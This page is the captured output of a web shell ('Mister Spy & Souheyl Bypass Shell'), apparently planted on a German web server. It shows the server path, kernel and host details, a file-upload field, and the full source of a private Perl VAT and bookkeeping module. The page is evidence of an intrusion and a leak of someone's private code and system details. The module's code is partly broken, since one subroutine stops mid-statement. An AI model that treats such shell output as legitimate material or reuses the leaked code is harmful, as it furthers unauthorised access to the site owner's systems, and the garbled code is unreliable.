Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/Application/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/50_dev2017/1300__perllib/Application/Umsatzsteuer.pm

#print Dumper (Application::IfTFiBu->new()->shell(@ARGV));

package Application::Umsatzsteuer;

use strict;
use Algorithm::Diff;
use Digest::MD5;
use Data::Dumper;

# our $slash = "/";

#*****************************************************************

sub new {

   my $class   = shift;
   $class      = ref($class) || $class;
   my $self    = {};
   $self->{'FILE'} = shift;
   bless($self,$class);
   return($self);
   
}

#*****************************************************************

sub umsatzsteuer {

   my $self = shift;
   my $text = shift;
   my $file = "";
   if (-f $text)  { $file = $text; }
   open(FFILE,



sub shell {

   my $self  = shift;
   my $cmd   = shift || "REARRANGE";
   my $datei = shift;
   my $pars  = [@_];
   
   my $o; my $o1; my $mark; my $mark1; my $zaehler; my $file;
   my $konten = {}; 
   $main::XCONSOLE = 1;

   if ($cmd eq "use" and $datei) {
      if ($datei =~ s/\.//) {
         while (length($datei)) {
            $o     = $o . substr($datei,0,1) . ".\*";
            $datei = substr($datei,1);
         }
         $datei = ".\*" . $o;
      }
   }

   my $laenge = 0;
   opendir(DDIR,$self->{'FILE'} || ".");
   my @files = readdir(DDIR);
   closedir(DDIR);
   foreach $o (sort @files) {
      if ($o =~ /^(.*)\.(csv|kto|txt|sql)$/) {
         $konten->{$1} = $2;
         $o  = $1;
         $o1 = length($o);
         $laenge = $o1 if ($o1 > $laenge);
         if ($cmd eq "use" and !$mark1 and $o =~ /$datei/) {
            $mark1 = $o;
         }
      }
      elsif ($o =~ /^mark\.(.*)$/) {
         $mark = $1;
      }
   }
   
   if ($mark1) {
      unlink("mark.$mark");
      open(FFILE,">mark.$mark1");
      print FFILE "1\n";
      close(FFILE);
      $mark = $mark1;
   }
   
   if ($cmd eq "use") {
      print "\n\n\nKontenliste:\n-------------\n";
      foreach $o (sort keys %$konten) {
         $o = substr($o." "x$laenge,0,$laenge) . "  <--- aktives Konto" if ($o eq $mark);
         print $o . "\n";
      }
      print "-------------\n\n";
   }
   
   elsif ($cmd =~ /^(csv|kto)$/) {
      $self->new($mark.".".$konten->{$mark})->viewkonto_txt(".".$datei,$cmd);
   }

   elsif ($cmd =~ /^im/) {
      $self->new($mark.".".$konten->{$mark})->viewkonto_txt($datei);
   }

   else {
      $main::XCONSOLE = 1;
      $datei = $datei || "edit";
      $file = $self->new($mark.".".$konten->{$mark})->viewkonto_txt(".".$cmd);
      return($file) if ($file =~ /ERROR/);
      $self->$datei($file) if ($file !~ /REARRANGE/);
      $file = $self->new($mark.".".$konten->{$mark})->viewkonto_txt($cmd);
   }
   
   
}

#*****************************************************************

sub edit { my $self = shift; my $file = shift; system("joe $file"); }

#*****************************************************************

#   Exportiert eine Unterbuchhaltung aus einer gegebenen
#
#   Jede Buchhaltung besteht aus Basis und Konto (Konto kann auch fehlen)


sub viewkonto_txt {

   my $self   = shift;
   my $kto    = shift;  #  zu ermittelnde Unterbuchhaltung
   my $format = shift;

   my $text; my $text1; my $datum; my $kto1; my $kto2; my $betrag; my $remark;
   my $zeile; my $zeile1; my $zeile2; my $sum; my $o; my $o1; my $name;
   my $diff; my $buchh; my $text0; my $header; my $file; my $merged; my $buchh0;
   my $anzahl_zeilen; my $zaehler;

$self->mm("Start Unterkonto-Berechnung");

#  1. Ermitteln des Ziel-Files

   return("___NO_SOURCE_FILE___") if ($self->{'FILE'} !~ /^(.*)\.(csv|kto|sql)$/);
   $buchh0 = $1;     #  Basis-Buchhaltung
   $format = $2 if (!$format);
   $buchh0 =~ s/^(.*)[\\\/](.*)$/$2/;
   $o = 0;
   $o = 1 if ($kto =~ s/\.//);
   $file   = $buchh0 . "--" . $kto . "." . $format;  #  Ausgabefile;
   while ($file =~ s/^(.*)\-\-(.*)\-\-(.*)/$1-$2--$3/) { 1; }
   $file   =~ s/\-+\./\./;
   unlink($file) if ($o);
   
#  2.  Aufloesen des Quellfiles in Buchhaltung ($buchh0) und Konto ($name)

   $name = "";
   if ($buchh0 =~ s/^(.*?)--(.*)$/$1/) {
      $name = $2;
   }

#  3.  Aufloesen des Kontos in Unterbuchhaltung ($kto0) und Unterkonto ($kto)

   my $kto0  = "";
   if ($kto  =~ s/^(.*)--(.*)$/$1-$2/) {
      $kto0  = $1;  #  Unterbuchhaltung
   }
   $kto =~ s/\-$//;
   
#  4. Auslesen der Quelldaten

   open(FFILE,"<".$self->{'FILE'});
   if (-f $file) {
      $text   = [<FFILE>];
      shift(@$text);
      $text0  = $buchh0 . "--" . $name . "\n" . join("",@$text); #  Speichern des gesamten Files im Falle eines Merge
      $text   = join("",grep(/$kto/,@$text))
   } else {
      $text = <FFILE>;
      $text = join("",grep(/$kto/,<FFILE>));  #  von vorneherein eine Beschraenkung auf Zeilen, die das Konto enthalten
   }
   close(FFILE);
   
#  5.  Eigentliche Berechnung des Exzerpts

   $text =~ s/\{/\{$buchh0,/g;  #  Behandlung von Formeln
   $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+)$kto(.*?[ ;]+)/$1---EMPTY---$2/g;  #  relativer Kontopfad
   $text =~ s/(\d\d\d\d\d\d\d\d[; ]+)(\-?\d+\.\d\d[ ;]+)([^ ;]+?[ ;]+)$kto(.*?[ ;]+)/$1\-$2---EMPTYY---$4$3/g; # Konten umdrehen
   $text =~ s/(---EMPTYY---[^\n]+\{)/$1\-/gs;  #  Behandlung von Formeln
   $text =~ s/---EMPTYY?----/-/g;  # Referenz auf das Konto selbst
   $text =~ s/---EMPTYY?---/-/g;   # eliminieren
   $text =~ s/(\d\d\d\d\d\d\d\d[; ]+-?)--/$1 /g;  #  doppelte Minuszeichen eliminieren
   $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+[^ ;-][^\n]+)//g; # ) { 1; } absolutes Konto als erstes Konto geht nicht
   $text =~ s/\n\s*\n/\n/gs;
   while ($text =~ s/\n([^ ;]+[; ]+[^ ;]+|[^ ;]+)[; ]+\-?\d+\.\d\d( *)\n/\n$1\n/gs) { 1; } #  Kontobezeichnungen uebernehmen
   while ($text =~ s/\n *($kto0|\-?\d+\.\d\d) *\n/\n/s) { 1; }
   while ($text =~ s/\n$kto0-([^ ;]+[; ]+[^ ;]*)(\s*)\n/\n$1\n/gs) { 1; };  #  Kontobezeichnungen uebernehmen

   if ($kto0) {  #  wenn das $kto in Buchhaltung und Zielkonto gesplittet war ...
      $kto  =~ s/^$kto0//;
      $kto  =~ s/^-//;
      $kto0 = $buchh0 . ":" . $name . "-" . $kto0;
      $kto0 =~  s/[:-]-/:/g;
      $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+[^ ;]+?[ ;]+)([^ -][^ :;]*)/$1$buchh0\:$2/g;
      $text =~ s/\[([^-][^ :;]?)\]/\[$buchh0\:$1\]/g;
   } else {
      $kto0 = $buchh0;
   }

   $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+[^ ;]+?[ ;]+)($kto0\-)/$1/g;
   $text =~ s/\[$kto0\-(.*?)\]/\[$1\]/g;
   $kto0 =~ s/\:/\-/g;
   if (!$kto) {
      $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+)\-/$1/g;
      $text =~ s/(\d\d\d\d\d\d\d\d[; ]+\-?\d+\.\d\d[ ;]+[^ ;]+[ ;]+)\-/$1/g;
      $text =~ s/\[-(.*?)\]/\[$1\]/g;
   }

$self->mm("Rohdaten exzerpieren");

   $text   = $self->to_txt($kto0."--".$kto."\n\n".$text,$format);

#  6. --- Change mode -----------------------------------------------

   if ($text0) {

      $diff    = $self->compute_diff($text,$file);
$self->mm("Diff berechnen");

      if (!(ref($diff))) { #  merge conflict
         $file = $file . "_" . $diff;
      } else {

         $buchh   = $diff->[0];
         $kto     = $diff->[1];
         $merged  = 0;
         $anzahl_zeilen = scalar ( split(/\n/,$text0) );
#$self->mm("ABC");
         foreach $zeile (split(/\n/,$diff->[2])) {  #  delete list
            $zeile1 = "";
            $zeile =~ s/[\+\(\)\*]/\./g;
            $zeile =~ s/\{(.*)\}/\{.\*\?\}/g;
            if ($zeile =~ /^(\d\d\d\d\d\d\d\d)[; ]+-?(\d+\.\d\d)[; ]+([^ :;]*?)\-?+[; ]+([^ :;]*?)\-?[; ]+-?\d+\.\d\d[ ;]+(.*?)[ ;]*$/) {
               $zeile1 = "($1\[ ;\]+-?$2\[ ;\]+?\[^ ;\]*$3\[ ;\]+?\[^ ;\]*$4\[ ;\]+?\-?\\d+\\.\\d\\d\[ ;\]+?$5" .
                         "|$1\[ ;\]+-?$2\[ ;\]+?\[^ ;\]*$4\[ ;\]+?\[^ ;\]*$3\[ ;\]+?\-?\\d+\\.\\d\\d\[ ;\]+?$5)";
            }
            elsif ($zeile =~ /^([^ ;]+)[ ;]+([^ ;]+)[ ;]+-?(\d+\.\d\d)/) {
               $zeile1 = "\[^ ;\]*?$1\[ ;\]+$2\[ ;\]+\-?$3";
            }
            if ($zeile1) {
               $merged = $merged + 1;
#            return("ERROR: Line not found: $zeile  $zeile1\n") if ($zeile1 and $text0 !~ s/\n$zeile1[ ;]*//gs);
               return("ERROR: Line not found: $zeile\n") if ($text0 !~ s/\n$zeile1[ ;]*//s);  #  falls
               return("ERROR: Double line: $zeile\n") if ($text0 =~ /\n$zeile1[ ;]*/s);  #  solche Fehler auftreten
            }
         }                           #  mit diesen beiden Zeilen genauere Angabe als mit der einen darueber
#$self->mm("ABC");
         return("ERROR: Double line $text0") if ( $anzahl_zeilen - $merged != scalar ( split(/\n/,$text0) ) );

         foreach $zeile (split(/\n/,$diff->[3])) {  #  add list
            $merged = 1;
            if ($zeile =~ s/^(\d\d\d\d\d\d\d\d[; ]+)([^ ;]+)([; ]+)([^ ;]+)([; ]+)([^ ;]+)(.*?)[ ;]*$/$1---BETRAG---$3---KTO1---$5---KTO2---$7/) {
               $o     = [$4,$6];
               $o1    = sprintf("%3.2f",eval($2));
               $zeile =~ s/\{(.*?)\}/\{ $1 \}/;
#               $zeile =~ s/\{[a-zA-Z0-9\-\_\:]+\}/\{\[$1\]\}/;
               $zeile =~ s/---BETRAG---/ $o1 /;
               $zaehler = 1;
               while (0 == 0) {             #   Auswerten der Formeln
                  last if ($zeile !~ s/\{(.*?)([ ;\(\)\[\]\{\}\+\*])([a-zA-Z0-9][a-zA-Z0-9\-\_\:]*)([ ;\(\)\[\]\{\}\+\*])(.*?)\}/\{$1$2...FORMEL...$4$5\}/g);
                  push(@$o,$3);
                  $zaehler = $zaehler + 1;
               }
               foreach $o1 (@$o) {
                  $o1 =~ s/^-/$kto-/;       #  auf absoluten Kontopfad bringen
                  if ($o1 !~ /\:/) { $o1 = $buchh . ":" . $o1; }
                  $o1 =~ s/-$//;
                  if ($o1 =~ s/^$buchh0[-\:]//) {  # wieder relativieren
                     $o1 =~ s/\:/\-/gs;
                     if ($o1 =~ s/$name//) {
                        $o1 = "-" if (!$o1);
                     }
                  }
               }
               $o1 = shift(@$o);
               $zeile =~ s/---KTO1---/$o1/;
               $o1 = shift(@$o);
               $zeile =~ s/---KTO2---/$o1/;
               while (0 == 0) {   #  korrigierte Formeln
                  $o1 = shift(@$o);
                  last if (!$o1);
                  $zeile =~ s/\.\.\.FORMEL\.\.\./$o1/;
               }
               $zeile =~ s/\{ *(.*?) *\}/\{$1\}/;
            }
            elsif ($zeile =~ /$buchh(.*?)$kto(.*?)([^ ;]+?)[ ;]*$/) {
               $zeile = $buchh . "-" . $kto . "  " . $3;
               $zeile =~ s/^$buchh0\-//;
            }
            elsif ($zeile =~ /^([^ ;]+)[ ;]+([^ ;]+)/) {
               $zeile = $buchh . "-" . $zeile;
               $zeile =~ s/^$buchh0\-//;
            }
            $text0 = $zeile . "\n" . $text0;
         }
         $merged = 1 if ($kto eq "REARRANGE");
$self->mm("Diff anwenden");
         if ($merged) {
            $text  = join("\n",sort { $self->sortbuchung($a) cmp $self->sortbuchung($b) }
                              split(/\n/,$text0) );
$self->mm("Sortieren");
            $text = $self->to_txt("$buchh0--$name\n\n".$text,$format,"fixpoint");
         }
         unlink($file);
         $file  = $self->{'FILE'};
         return($file) if (!$merged);
         
      }
         
   }

# 7. Abspeichern der Ergebnisdatei  ----------------------------------------

   open(FFILE,">$file");
   print FFILE $text;
   close(FFILE);

   return($file);


}

#******************************************************************************

sub to_txt {

   my $self   = shift;
   my $text   = shift;
   my $format = shift;
   my $make_fixpoint = shift;
   
   my $zeile; my $datum; my $betrag; my $kto1; my $kto2; my $remark;
   my $o; my $space; my $tab; my $sum; my $kto3; my $xtab; my $ytab;
   my $buchh; my $kto; my $md5; my $kto9; my $neg; my $buchh0;
   my $name; my $formel; my $formel1; my $text1; my $monat; my $quartal;
   
   my $bezeichner  = {};
   my $gesamt      = {};
   
#---------------------------------

#  1. Auswerten aller Zeilen


   my $text1    = [];
   my $rules    = [];
   foreach $zeile (split(/\n/,$text)) {

      if ($zeile =~ /^(\d\d\d\d\d\d\d\d)[; ]+(-?\d+\.\d\d)[; ]+([^ ;]+?)[; ]+([^ ;]+?)([; ]+)(.*)$/) {

         $datum  =  $1;
         $betrag =  $2;
         $kto1   =  $3;
         $kto2   =  $4;
         $o      =  $5;
         $remark =  $6;
         $remark =~ s/^\-?\d+\.\d\d[; ]+//;
         if ($remark =~ /^\d/) {  #  Einrueckung, falls $remark mit einer Ziffer beginnt (f. Umsatzsteuerangaben)
            if ($5 =~ /\;/) { $remark = ";"   . $remark }
            else            { $remark = "   " . $remark }
         }
         if ($kto1 !~ /^\-/ and $kto1 !~ /^\-/ and $betrag < 0) {
            $betrag = (-1) * $betrag;
            $kto3 = $kto1;
            $kto1 = $kto2;
            $kto2 = $kto3;
            if ($remark !~ s/\{\-/\{/) {
               $remark !~ s/\{/\{\-/;
            }
         }

         if ($remark =~ /Saldovortrag/) {
            if ($kto1 =~ /^(\d+)-11-1805/) {
               $o = $1;
               if ($kto2 =~ /^$o\-(.*)$/) {
                  $remark = $remark . " \{- (".sprintf("%1u",$o-1)."-"."$1 )\} ";
               }
            }
            elsif ($kto2 =~ /^(\d+)-11-1805/) {
               $o = $1;
               if ($kto1 =~ /^$o\-(.*)$/) {
                  $remark = $remark . " \{ ".sprintf("%1u",$o-1)."-"."$1 \} ";
               }
            }
         }      
               
         $monat = substr($datum,4,2);
         if    ($monat == 10) { $monat = "A" }
         elsif ($monat == 11) { $monat = "B" }
         elsif ($monat == 12) { $monat = "C" }
         else  {$monat = sprintf("%1u",$monat); }
         if    ($monat =~ /[123]/) { $quartal = "I"; }
         elsif ($monat =~ /[456]/) { $quartal = "J"; }
         elsif ($monat =~ /[789]/) { $quartal = "K"; }
         else                      { $quartal = "L"; }

#---------------------------------------------------------------            

#  1.1. Formeln in Standardschreibweise bringen

         $formel = "";
         $neg    = "";
         $buchh0 = "";
         if ($remark =~ s/\{(.*?)\}/\.\.\.FORMEL\.\.\./) {
            $formel1 = " " . $1 . " ";
            if ($formel1 =~ /^(.*?). *([^,]+)\,(.+)$/) {  #  Korrektur auf Anfangs-Konto
               $buchh0  = $2;
               $formel  = $3;
               if ($buchh0 =~ s/^\-//) { $neg = "-"; }
            } else {
               $formel = $formel1;
            }
            while ($formel =~ s/^ *\( *(.*?) *\) *$/$1/) { 1; }
            $formel  = "\{ " . $formel . " \}";
            $formel  =~ s/([ ;\(\)\[\]\{\}\+\*])\-([^ ])/$1\- $2/g;
            $formel  =~ s/$buchh\:/ /g;
            if ($buchh0) {
               $name    = $buchh;
               if ($name =~ s/^$buchh0\-//) {
                  map { $formel =~   # generalisieren, zweimal anwenden wg. abschliessendem Trennzeichen
                       s/([ ;\(\)\[\]\{\}\+\*])([a-zA-Z0-9][a-zA-Z0-9\-\_]*)([ ;\(\)\[\]\{\}\+\*])/$1$buchh0\:$2$3/g; }
                       (1,1);
                                     # spezialisieren
                  map { $formel =~ s/([ ;\(\)\[\]\{\}\+\*])([a-zA-Z0-9\_\-]+\:)([a-zA-Z0-9\_\-]+\:)/$1$3/g; } (1,1);
                  $formel =~ s/([ ;\(\)\[\]\{\}\+\*])$buchh0\:$name\-([a-zA-Z0-9\_\-]+)/$1$2/g;
               }
               if ($neg) {
                  if ($formel !~ s/\{ *\- *\( *(.*?) *\) *\}$/\{$1\}/) {
                     $formel =~ s/\{(.*?)\}/\{\-\($1\)\}/;
                  }
               }
            }

            $o      = $formel;
            $o      =~ s/^ *\{ *(.*?) *\} *$/\{$1\}/;
# print "FORMEL: $o\n";
            $remark =~ s/\.\.\.FORMEL\.\.\./$o/;
            $tab    = $formel;
            $o = "\(\$gesamt->\{'";
            map { $formel =~
              s/([ ;\(\)\[\]\{\}\+\*])([a-zA-Z0-9][a-zA-Z0-9\-\_]*)([ ;\(\)\[\]\{\}\+\*])/$1$o$2\'\}\)$3/g; } (1,1);
            if ($formel =~ /\:/) {
               $formel = "";
            } else {
               $formel = eval("sub " . $formel);
            }
# $betrag = 0;  #  neue Werteberechnung
         }
#         $remark =~ s/Saldovortrag +\{(.*?)\}/Saldovortrag/;
         $zeile = [$datum,$betrag,$kto1,$kto2,$remark,$monat,$quartal,$formel,$tab];
         push(@$text1,$zeile);
         push(@$rules,$zeile) if (ref($formel));

#---------------------------------------------------------------            

#  1.2. Daten fuer Kontenliste sammeln

         foreach $neg (1,-1) {
            $kto3 = $kto1 if ($neg == 1);
            $kto3 = $kto2 if ($neg == -1);
            $kto3 =~ s/^\-/$kto9/;
            $kto3 =~ s/\-+$//g;
            while (0 == 0) {
               last if ($kto3 !~ /^$kto/);
               $gesamt->{$kto3}              = $gesamt->{$kto3} + $neg * $betrag;
               $gesamt->{$kto3."-".$monat}   = $gesamt->{$kto3."-".$monat} + $neg * $betrag;
               $gesamt->{$kto3."-".$quartal} = $gesamt->{$kto3."-".$quartal} + $neg * $betrag;
               last if (!$kto3);
               $kto3 = "" if ($kto3 !~ s/^(.*)\-(.*)$/$1/);
            }
         }


      }
      
#---------------------------------------------------------------            
          
#  1.3.  Kontobezeichnungen
 
      elsif ($zeile =~ /^\s*(.*?)([ ;]+)([^ ;\-0123456789][^ ]*)/) {
         $bezeichner->{$1} = $3;
         $gesamt->{$1}     = "___EMPTY___" if (!(exists ($gesamt->{$1})));
      }
      
#  1.4. Name von Buchhaltung und Konto auswerten      
 
      elsif (!$buchh and $zeile =~ /^(.*)--(.*)/) {
         $buchh = $1;
         $kto   = $2;
         $kto9  = $kto . "-";
         if (!$kto) { $kto9 = ""; }
      }
      
   } 
   
#------------------------------------------------------------------------

$self->mm("Auswerten");

#  2. Fixpunkt der Formeln ausrechnen

   my $zaehler = "  1";
   $tab = 0;
   
   while ($make_fixpoint) {

      $tab = $tab + 1;
$self->mm("$zaehler. Iteration fuer $buchh");
      foreach $zeile (@$rules) {
         $o       = $zeile->[7];
         $o       = sprintf("%3.2f",&$o());
         $betrag  = - $zeile->[1] + $o;
         $kto1    = $zeile->[2];
         $kto2    = $zeile->[3];
         $monat   = $zeile->[5];
         $quartal = $zeile->[6];
if ($zaehler > 0 and $betrag) {
   print "   " . sprintf("%9.2f",$zeile->[1]) . "  " . sprintf("%9.2f",$o) . "  " . $zeile->[8] . "\n";
}
         $zeile->[1] = $o;
         next if ($betrag == 0.00);

         foreach $neg (1,-1) {
            $kto3 = $kto1 if ($neg == 1);
            $kto3 = $kto2 if ($neg == -1);
            $kto3 =~ s/^\-/$kto9/;
            $kto3 =~ s/\-+$//g;
            while (0 == 0) {
               last if ($kto3 !~ /^$kto/);
               $gesamt->{$kto3}              = $gesamt->{$kto3} + $neg * $betrag;
               $gesamt->{$kto3."-".$monat}   = $gesamt->{$kto3."-".$monat}   + $neg * $betrag;
               $gesamt->{$kto3."-".$quartal} = $gesamt->{$kto3."-".$quartal} + $neg * $betrag;
               last if (!$kto3);
               $kto3 = "" if ($kto3 !~ s/^(.*)\-(.*)$/$1/);
            }
         }
         $tab = 0;
         
      }
      last if ($tab > 0);  #  Anzahl zusaetzliche Iterationen OHNE Aenderung - es muesste der Wert 0 reichen!
      $zaehler = sprintf("%3u",$zaehler+1);
      last if ($zaehler > 990);
      
   }      

#-------------------------------------------------------------

$self->mm("Fixpunkt");

#  3.  Formatieren des Kontoblatts

   my $text2 = "";
   my $sum   = 0;
   
   foreach $zeile (@$text1) {

      $datum  = $zeile->[0];   
      $betrag = $zeile->[1];   
      $kto1   = $zeile->[2];   
      $kto2   = $zeile->[3];
      $remark = $zeile->[4]; 
      if    ($kto1 =~ /^\-/ and $kto2 !~ /^\-/) {
         $sum = $sum + $betrag;
      }
      elsif ($kto1 !~ /^\-/ and $kto2 =~ /^\-/) {
         $sum = $sum - $betrag;
      }
      if ($format eq "kto") {
         if (length($kto1) < 13) { $kto1 = substr($kto1." "x13,0,13); }
         if (length($kto2) < 13) { $kto2 = substr($kto2." "x13,0,13); }
         while ($remark =~ s/^\;/   /) { 1; }
         $zeile = $datum . " " . sprintf("%11.2f",$betrag) . "  " .
                  $kto1 . "___TAB1___" . (sprintf("%09b",1023-length($kto1))) . "___ " .
                  $kto2 . "___TAB2___" . (sprintf("%09b",1023-length($kto2))) . "___  " .
                  sprintf("%11.2f",$sum) . "  " . $remark;
      } else {
         $zeile = $datum . ";" . sprintf("%3.2f",$betrag) . ";" .
                  $kto1 . ";" .
                  $kto2 . ";" .
                  sprintf("%3.2f",$sum) . ";" . $remark;
      }
      $text2 = $text2 . $zeile . "\n";
   }
   
#---------------------------------------------------------------------

$self->mm("Buchungen eintragen");

#  4.  Anfuegen der Kontobezeichnungen

   $text2 = $text2 . "\n";
   foreach $kto1 (keys %$gesamt) {
      delete ($gesamt->{$kto1}) if ($kto1 =~ /\-[0123456789ABCIJKL]$/);
   }
   
   foreach $kto1 (sort keys %$gesamt) {
      $betrag  = $gesamt->{$kto1};
      if ($betrag eq "___EMPTY___") {
         $betrag = "";
      } else {
         $betrag = sprintf("%13.2f",$betrag);
      }
      $betrag =~ s/^(.*?)( *)$/$2$1/;
      $betrag =~ s/ /\\/g;
      $ytab   =  $kto1;
      $ytab   =~ s/[^-]//g;
      $ytab   =~ s/^$xtab//;
      if ($format eq "kto") {
         $o      = $bezeichner->{$kto1} || ""; # "___undefined___";   #  Kontobezeichner
         if (length($betrag) < 13) { $betrag = substr($betrag." "x13,0,13); }
         if (length($kto1)   < 13) { $kto1   = substr( $kto1." "x13,0,13); }
         if (length($o)      < 13) { $o      = substr(    $o." "x13,0,13); }
         $ytab   =~ s/\-/\\/g;
         $zeile  = $kto1 . "___TAB3___" . (sprintf("%09b",1023-length($kto1))) . "___ " . $o;
         $zeile  = $zeile . "___TAB4___" . (sprintf("%09b",1023-length($o)))
                    . "___ " . $ytab . $ytab . $ytab . $betrag;  #  if ($betrag);
      } else {
         $ytab   =~ s/\-/\;/g;
         $zeile  = $kto1 . ";" .
                   $bezeichner->{$kto1} . ";" .
                   $ytab . $zeile;
      }
      $text2  = $text2 . $zeile . "\n";
   }


#-------------------------------------------------

$self->mm("Kontobezeichnungen");


#  5.  Tabulatorabstaende ausrechnen

   if ($format eq "kto") {
      foreach $tab (1,2,3,4) {  #  minimale Einrueckung bestimmen
         my $space1 = "";
         while (0 == 0) {
            $space1 = $space1 . "0";
            next if ($text2 =~ /___TAB$tab\___$space1/);
            $space1 = substr($space1,0,length($space1)-1) . "1";
            last if ($text2 !~ /___TAB$tab\___$space1/);
         }
         $space1 = eval("0b".substr($space1,0,length($space1)-1));
         while (0 == 0) {  #  Spezielle Einrueckungen vornehmen
            last if ($text2 !~ /___TAB$tab\___([01]+)\___/);
            $o = $1;
            $space = " " x  (eval("0b".$o) - $space1);
            $text2 =~ s/___TAB$tab\___$o\___/$space/gs;
         }
      }
      $text2 =~ s/\\/ /g;
   }

   $text2  =~ s/( *)\n/\n/gs;
   my $md5 = Digest::MD5::md5_base64($text2);
   $md5    =~  s/\+/\-/gs;
   $md5    =~  s/\//\_/gs;

   if ($format eq "kto") {
      $text2 = $buchh . ", " . $kto . " (" . $md5 . ")   -- " . $bezeichner->{$kto} . "\n\n" . $text2;
   } else {
      $text2 = $buchh . ";" . $kto . ";;" . $md5 . ";;" . $bezeichner->{$kto} . "\n\n" . $text2;
   }
   $text2 =~ s/\-0.00/ 0.00/g;

$self->mm("Tabulator minimieren");
   
   return($text2);

}

#******************************************************************

sub compute_diff {   #  compute a diff for changing the Buchungs-Liste

   my $self   = shift;
   my $list0  = shift;
   my $list   = shift;

   if (-f $list0) {
      open(FFILE,"<".$list0);
      $list0 = join("",<FFILE>);
      close(FFILE);
   }
   
   if(!$list) {
      $list  = $self->change_kto($list0);
   }
   elsif (-f $list) {
      open(FFILE,"<".$list);
      $list = join("",<FFILE>);
      close(FFILE);
   }
   

   return([]) if ($list0 !~ /^(.*?)[ ,;\(\)]+(.*?)[ ,;\(\)]+?([^ ,;\(\)]+)(.*?)\n/);
   my $buchh = $1;
   my $kto   = $2;
   my $md5   = $3;
   return($md5) if ($list  !~ /^$buchh[ ,;\(\)]+$kto[ ,;\(\)]+$md5(.*?)\n/);
      
   $list0 = [ sort { $self->sortbuchung($a) cmp $self->sortbuchung($b) }
                split(/\n/,$list0) ];
   $list  = [ sort { $self->sortbuchung($a) cmp $self->sortbuchung($b) }
                split(/\n/,$list) ];
   
   my $addlist = "";
   my $dellist = "";
   my $o; my $o1;
   
#   print Dumper ( Algorithm::Diff::diff( $list0,$list ) );  exit;
   
   foreach $o ( Algorithm::Diff::diff( $list0,$list ) ) {
      foreach $o1 (@$o) {
         if ($o1->[0] eq "+") {
            $addlist = $addlist . $o1->[2] . "\n";
         } else {
            $dellist = $dellist . $o1->[2] . "\n";
         }
      }
   }

   return([$buchh,$kto,$dellist,$addlist]);

}

#*****************************************************************
#*****************************************************************

sub sortbuchung {

   my $self = shift;
   my $text = shift;

   if ($text !~ /^(\d\d\d\d\d\d\d\d)[; ]+-?(\d+\.\d\d)[; ]+([^ ;]*?)[; ]+([^ ;]*?)+[; ]+-?\d+\.\d\d[ ;]+(.*)$/) {
      return("9 " . $text);
   }
 
   my $erg   = $5;
   my $kto1  = $3;
   my $kto2  = $4;
   my $datum = $1;
   
   $erg    =~ s/[äöüÄÖÜß]/X/g;
   if ($erg =~ s/^\d(.*?)\((.*)\)$/$2/s) {  #  Umsatzsteuerbehandlung
      $erg = substr($erg,0,92)    . ("Z"x92);
   } else {
      $erg = substr($erg,0,92)  . ("A"x92);
   }
   $erg = substr($erg,0,92+1);

   if    ($erg =~ /^Brutto-Lohn/)                  { $erg = "01" . $erg; }
   elsif ($erg =~ /^(LST|Lohnsteuer)/)             { $erg = "02" . $erg; }
   elsif ($erg =~ /^(KST|Kirchensteuer)/)          { $erg = "03" . $erg; }
   elsif ($erg =~ /^Soli/)                         { $erg = "04" . $erg; }
   elsif ($erg =~ /^KV-Beitrag/)                   { $erg = "05" . $erg; }
   elsif ($erg =~ /^PV-Beitrag/)                   { $erg = "06" . $erg; }
   elsif ($erg =~ /^RV-Beitrag/)                   { $erg = "07" . $erg; }
   elsif ($erg =~ /^AV-Beitrag/)                   { $erg = "08" . $erg; }
   elsif ($erg =~ /^A.-Anteil KV/)                 { $erg = "10" . $erg; }
   elsif ($erg =~ /^A.-Anteil ZU/)                 { $erg = "11" . $erg; }
   elsif ($erg =~ /^A.-Anteil RV/)                 { $erg = "12" . $erg; }
   elsif ($erg =~ /^A.-Anteil PV/)                 { $erg = "13" . $erg; }
   elsif ($erg =~ /^A.-Anteil KI/)                 { $erg = "14" . $erg; }
   elsif ($erg =~ /^A.-Anteil AV/)                 { $erg = "15" . $erg; }
   elsif ($erg =~ /^A.-Anteil ST/)                 { $erg = "16" . $erg; }
   elsif ($erg =~ /^A.-Anteil Umlage 1/)           { $erg = "17" . $erg; }
   elsif ($erg =~ /^A.-Anteil Umlage 2/)           { $erg = "18" . $erg; }
   elsif ($erg =~ /^A.-Anteil Inso/)               { $erg = "19" . $erg; }
   else { $erg = "00" . $erg; }
  
   my $o1 = $kto1;
   my $o2 = $kto2;
   if (($o1 cmp $o2) > 0) {
      $o1 = $kto2;
      $o2 = $kto1;
   }
   $erg = $datum . $erg . $o1;
   return($erg);
   
}

#**************************************************************************

sub mm {

   my $self    = shift;
   my $mark    = shift;
   if (!$main::XCONSOLE) {
       return(1);
   }
   eval("use Time::HiRes");
   my $newdate = sprintf("%16.5f",Time::HiRes::time());
   my $diff    = $newdate - $main::lasttime;
   $diff       = 0 if ($diff > 10000000);
   $diff       = sprintf("%10.2f",$diff*1000);
   $main::lasttime = $newdate;
   my $erg = $diff . " ms fuer: " . $mark . "\n";

   if ($main::XCONSOLE > 1) {
      if (!($main::cgp_opened)) {
         open(GFILE,">".$mark);
         $main::cgp_opened = 1;
         $mark = $mark . " opened";
      }
      print GFILE $erg;
   }
   if ($main::XCONSOLE != 2) {
      print $erg;
   }

}

#***********************************************************************


1;

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net